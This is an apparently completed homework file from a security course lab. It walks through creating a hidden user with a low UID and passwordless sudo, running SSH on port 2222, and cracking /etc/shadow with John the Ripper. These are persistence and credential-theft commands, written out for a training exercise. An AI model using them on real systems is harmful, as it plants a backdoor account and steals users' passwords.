Week 6 Homework Submission File: Advanced Bash - Owning the System

Please edit this file by adding the solution commands on the line below the prompt.

Save and submit the completed file for your homework submission.

Step 1: Shadow People

1. Create a secret user named sysd. Make sure this user doesn't have a home folder created:
    - **sudo adduser sysd**
2. Give your secret user a password:
    - **sudo passwd sysd**
3. Give your secret user a system UID < 1000:
    - **sudo usermod -u 300 sysd**
4. Give your secret user the same GID:
    - **sudo groupmod -g 300 sysd**
5. Give your secret user full sudo access without the need for a password:
    - **sudo visudo**
    - **Scroll to bottom of page**
6. Test that sudo access works without your password: **sudo -l**

    Your bash commands here:

    sysd ALL=(ALL) NOPASSWD:ALL

Step 2: Smooth Sailing

1. Edit the sshd_config file:

    sudo nano /etc/ssh/sshd_config

Step 3: Testing Your Configuration Update

1. Restart the SSH service:
    - **service ssh restart**
2. Exit the root account:
    - **ctrl+D**
3. SSH to the target machine using your sysd account and port 2222:
    - **ssh sysd@192.168.6.105 -p 2222**
4. Use sudo to switch to the root user:
    - **sudo su**

Step 4: Crack All the Passwords

1. SSH back to the system using your sysd account and port 2222:
    - **ssh sysd@192.168.6.105 -p 2222**
2. Escalate your privileges to the root user. Use John to crack the entire /etc/shadow file:
    - **sudo su**
    - **john /etc/shadow**